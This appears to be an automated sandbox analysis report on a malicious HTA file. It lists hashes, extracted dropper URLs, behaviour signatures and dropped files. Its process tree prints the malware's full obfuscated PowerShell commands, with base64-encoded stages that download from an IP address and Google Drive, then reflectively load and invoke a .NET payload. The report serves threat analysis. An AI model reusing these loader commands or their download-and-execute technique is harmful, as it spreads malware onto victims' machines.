Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    08-11-2024 07:33

General

  • Target

    seethegoodthingswhicgivenyoubest.hta

  • Size

    206KB

  • MD5

    ee06f92a6abcd0b214c3251740547dbe

  • SHA1

    6c36d8fa208e1c6f97272ab9f14b4e6b1ff17f3b

  • SHA256

    3b5f33baf9dbcbe033909735e6238ecf8c3f5aaf915d7298157fb07e034cf2bb

  • SHA512

    8d198174ebef3ad98944261cff5eafa079557ca5fda0bfdd340d193eba49e306707f331586bf321ebdb401d40df645de0f411dd1d6592854c3730f3fdf54088b

  • SSDEEP

    48:4FhWsTR/F7gNqXfgaEJK4RJcB458p2ybuzkyq88oCxL/RNOeugGr4BJSFJkvhNcm:43F97/E1RXqfbutqSCxL/Rgeb4Frh/Q

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethegoodthingswhicgivenyoubest.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2672
    • C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe
      "C:\Windows\sySTEm32\winDOWspOweRsheLl\V1.0\powErshEll.eXe" "POweRsHeLl -eX ByPaSs -NOP -W 1 -C DevIceCredeNTiaLdepLOyMenT ; ieX($(Iex('[syStem.TExT.encodiNG]'+[ChAr]58+[chAr]0x3A+'Utf8.geTsTRing([sYsTem.CoNVErT]'+[ChAr]0x3A+[CHAr]0x3A+'FROmBaSe64StriNG('+[cHaR]0X22+'JFZ3SjZCMXZ5ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTUJlUmRlRklOaVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbU9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhZTixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrck9jVWhmcU1VLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdhLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlaW1PUVplQ1NpWixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2VCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuZ0tHbVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFZ3SjZCMXZ5OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjUyLzEyMC9waWN0dXJld2l0aG1lYmFja3dpdGhuZXd0aGluZ3NncmVhdGZvcm1lLnRJRiIsIiRFblY6QVBQREFUQVxwaWN0dXJld2l0aG1lYmFja3dpdGhuZXd0aGluZ3NncmVhdGZvcm1lLnZicyIsMCwwKTtzdEFyVC1TTGVFcCgzKTtzdGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFccGljdHVyZXdpdGhtZWJhY2t3aXRobmV3dGhpbmdzZ3JlYXRmb3JtZS52YnMi'+[CHar]0x22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2808
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX ByPaSs -NOP -W 1 -C DevIceCredeNTiaLdepLOyMenT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2596
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ud_8cjki.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1028.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1027.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2364
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturewithmebackwithnewthingsgreatforme.vbs"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRlbnY6Y09Nc3BFY1s0LDI0LDI1XS1Kb0lOJycpKCAoJzU2dWltYWdlVXJsID0gdklPaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xVXlIcXdyblhDbEtCSjNqJysnNjNMbDF0MlN0VmdHeGJTdDAgdklPOzU2dXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3knKydzdGVtLk5ldC5XZWJDbGllbnQ7NTZ1aScrJ21hZ2VCeXRlcyA9IDU2dXdlYkNsaWVudC5Eb3dubG9hZERhdGEoNTZ1aW1hZ2VVcmwpOzU2dWltYWdlVGV4dCA9ICcrJ1tTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKDU2dWltYWdlQnknKyd0ZXMpOzU2dXN0YXJ0RmxhZyA9IHZJTzw8QkFTRTY0X1NUQVJUPj52SU8nKyc7NTZ1ZW5kRmxhZyA9IHZJTzw8QkFTRTY0X0VORD4+dklPOzU2dXN0YXJ0SW5kZXggPSA1NnVpbWFnZVRleHQuSW5kZXhPZig1NnVzdGFydEZsYWcpOzU2dWVuZEluZGV4ID0gNTZ1aW1hZ2VUZXh0LkluZGV4T2YoNTZ1ZW5kRmxhZyk7NTZ1c3RhcnRJbmRleCAtZ2UgMCAtYW5kIDU2dWVuZCcrJ0luZGV4IC1ndCA1NnVzdGFydEluZGV4OzU2dXN0YXJ0SW5kZXggKz0gNTZ1c3RhcnRGbGFnLkxlbmd0aDs1NnViYXNlNjRMZW5ndGggPSA1NnVlbmRJbmQnKydleCAtIDU2dXN0YXJ0SW5kZXg7NTZ1YmFzZTY0Q29tbWFuZCA9IDU2dWltYWdlVGV4dC5TdWJzdHJpbmcoNTYnKyd1c3RhcnRJbmRleCwgNTZ1YmFzZTY0TGVuZ3RoKTs1NnViYXNlNjRSZXZlcnNlZCA9IC1qJysnb2luJysnICg1NnViYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgNmlrIEZvckVhY2gtT2JqZWN0IHsgNTZ1XyB9KVstMS4uLSg1NicrJ3ViYXNlNicrJzRDb21tYW5kLkxlbmd0aCldOzU2dWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoNTZ1YmFzZTY0UmV2ZXJzZWQpOzU2dWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlJysnbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6JysnTG9hZCg1NnVjb21tYW5kQnl0ZXMpOzU2dXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QodklPVkEnKydJJysndklPKTs1NnV2YWlNZXRob2QuSW52b2tlKDU2dW51bGwsIEAodklPdCcrJ3h0LktMR0xMLzAyMS8yNS43Ljg2MS40JysnMDEvLzpwdHRodklPLCAnKyd2SU9kZXNhdGl2YWRvdicrJ0lPLCB2SU9kZXNhdGl2YWRvdklPLCB2SU9kZXNhdGl2YWRvdklPLCB2SU9hc3BuZXRfY29tcCcrJ2lsZXJ2SU8sIHZJT2Rlc2F0aXZhZG92SU8sICcrJ3ZJT2Rlc2F0aXZhZG92SU8sdklPZGVzYXRpdmFkb3ZJTyx2SU9kZXNhdGl2YWRvdklPLHZJT2RlcycrJ2F0aXZhZG92SU8sdklPZGVzYXRpdmFkb3ZJTyx2SU9kZXNhdGl2YWRvdklPLHZJTzF2SU8sdklPZGVzYXRpdmFkJysnb3ZJTykpOycpLnJlcExhQ0UoKFtjaEFSXTU0K1tjaEFSXTEwNStbY2hBUl0xMDcpLFtzVFJpbmddW2NoQVJdMTI0KS5yZXBMYUNFKCd2SU8nLFtzVFJpbmddW2NoQVJdMzkpLnJlcExhQ0UoJzU2dScsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2632
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $env:cOMspEc[4,24,25]-JoIN'')( ('56uimageUrl = vIOhttps://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j'+'63Ll1t2StVgGxbSt0 vIO;56uwebClient = New-Object Sy'+'stem.Net.WebClient;56ui'+'mageBytes = 56uwebClient.DownloadData(56uimageUrl);56uimageText = '+'[System.Text.Encoding]::UTF8.GetString(56uimageBy'+'tes);56ustartFlag = vIO<<BASE64_START>>vIO'+';56uendFlag = vIO<<BASE64_END>>vIO;56ustartIndex = 56uimageText.IndexOf(56ustartFlag);56uendIndex = 56uimageText.IndexOf(56uendFlag);56ustartIndex -ge 0 -and 56uend'+'Index -gt 56ustartIndex;56ustartIndex += 56ustartFlag.Length;56ubase64Length = 56uendInd'+'ex - 56ustartIndex;56ubase64Command = 56uimageText.Substring(56'+'ustartIndex, 56ubase64Length);56ubase64Reversed = -j'+'oin'+' (56ubase64Command.ToCharArray() 6ik ForEach-Object { 56u_ })[-1..-(56'+'ubase6'+'4Command.Length)];56ucommandBytes = [System.Convert]::FromBase64String(56ubase64Reversed);56uloadedAssembly = [Syste'+'m.Reflection.Assembly]::'+'Load(56ucommandBytes);56uvaiMethod = [dnlib.IO.Home].GetMethod(vIOVA'+'I'+'vIO);56uvaiMethod.Invoke(56unull, @(vIOt'+'xt.KLGLL/021/25.7.861.4'+'01//:ptthvIO, '+'vIOdesativadov'+'IO, vIOdesativadovIO, vIOdesativadovIO, vIOaspnet_comp'+'ilervIO, vIOdesativadovIO, '+'vIOdesativadovIO,vIOdesativadovIO,vIOdesativadovIO,vIOdes'+'ativadovIO,vIOdesativadovIO,vIOdesativadovIO,vIO1vIO,vIOdesativad'+'ovIO));').repLaCE(([chAR]54+[chAR]105+[chAR]107),[sTRing][chAR]124).repLaCE('vIO',[sTRing][chAR]39).repLaCE('56u','$'))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1248

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RES1028.tmp

    Filesize

    1KB

    MD5

    2c49e83edd1bcc2b6d99beefbd1a3cc6

    SHA1

    76b099617d979156c4b90bdfb10e7ae0c601a3f6

    SHA256

    de574ccc07b5465f7b40b6c6230494ab12c688e2a7960686abb4a45fab2fd70e

    SHA512

    4e1478c6d5ae0ab275f8abf40417885329578105feb4b10c44a59d1cbad4f91b32750398040eb3104a3ab304d5e5ea884ce4002f19f423dac3e4bb367f1609a3

  • C:\Users\Admin\AppData\Local\Temp\ud_8cjki.dll

    Filesize

    3KB

    MD5

    cc242bf8466002679bd7e26468e1a9ea

    SHA1

    67b50e3372eaa30e29023cc75eacc630173f5f9c

    SHA256

    648f48aa9e7131848106ecedbd43f1aa225352c493e2e12c27f94e3188c52c34

    SHA512

    63abeab2c1e5fc981df10406a1872b8d2a8902b928d50e74f22440d29546c607937c5c00eef5abf1219f527413fc444dd26b9551005afda73909c729c1aa688d

  • C:\Users\Admin\AppData\Local\Temp\ud_8cjki.pdb

    Filesize

    7KB

    MD5

    ede14d1bf61be1aa9520f811a41cae05

    SHA1

    295ea5efec871bfde467a709afdb085d402ad09d

    SHA256

    2e8171842a564b2d8656250bd8a96573e9fbc254c762d0ea1af4cd9a82f1d8e9

    SHA512

    742bbd912617b3f4580de23cac15945625856b95f6d637ae37c99dfc055463f7501578b52eb3db01b924939e5048b49f8348f9bfe180c29ded70f3752c31e09f

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    17481dbc2af7e84ca39a711d6973b8a1

    SHA1

    0fc39abfb0576ff17505d00a5d18ad4b38e96be0

    SHA256

    b161496634fa4a654326829c26e8e90c7adcd1eba6e7b01340bd8241df975ea6

    SHA512

    ca98e2ecdc75fc8a0995d0c72ea8037dec05b9916ecf07248772e0851be1c344d6b0f2732fbcd6fcb1e814779f7a3edb16d23ddc1d7fa0b3ea79e96518356161

  • C:\Users\Admin\AppData\Roaming\picturewithmebackwithnewthingsgreatforme.vbs

    Filesize

    138KB

    MD5

    6ee290a97ed7f5bcf1d264fcb5e1e4f7

    SHA1

    0851b61aa41328bac3ed7160eba1151a6faf2f0b

    SHA256

    b0d216e063b15e640ee73f15277cbd58b8d2a38ee96f61a8ad1e1bc36e400b88

    SHA512

    5aff6b07f5d77f548ece9bd2609177f0a742123ffd2f1861f0008dfb0f51d137a15a4c9436fc48c64b40c733bb550eb894e3a5bff3855b533262a06390b4034e

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC1027.tmp

    Filesize

    652B

    MD5

    3914507c7db9d61112e29cfb879d4c16

    SHA1

    348bbe204328d9cff7d28bac7e6d183d3ff81193

    SHA256

    d4c44936803360447296522e3ebc777481c1ef9e4a587334e69f3962ef1c0452

    SHA512

    8ad07873c535d80069c0dc36ace9a678b61d11bb57b7b0df22d97c278bdca7c3c861537d1cfb0171ffa25e6a33b3b155e82d666ac66ba9ebb5f2d26c30c47adb

  • \??\c:\Users\Admin\AppData\Local\Temp\ud_8cjki.0.cs

    Filesize

    473B

    MD5

    205f375dc3c53a766f92ffdea3687dde

    SHA1

    4d6aeadd2f24e149e06b17ecff040e835c78efa1

    SHA256

    25267d3b40367bbddf882619d418415a2c49bd26d964b6e2d5e214d92a8f87ab

    SHA512

    7708b1b37f3e2e156762f2704f4b70bf9c92473e1f8874ffc52e8f020a519a14f610b6e855059fa8dda425708e95a65ef8e925bf8ac998bb703b6770b7d2692f

  • \??\c:\Users\Admin\AppData\Local\Temp\ud_8cjki.cmdline

    Filesize

    309B

    MD5

    35644586ad499f931c802bfc7464f369

    SHA1

    274f99542ac9ecc53fc7ad7f8c6deca3d34f723e

    SHA256

    432e84d8eb7d04801eb8fcff462cdfdebe49d64869f93dfa42d4b0381afa38d5

    SHA512

    c5ad82241f68438247b9d215609bc66cdac7f09eee9731ee67f5fe9db0ea3f94fc425261744cca3dec0bf5441e5d1de241812a94be77da23276042f45087f599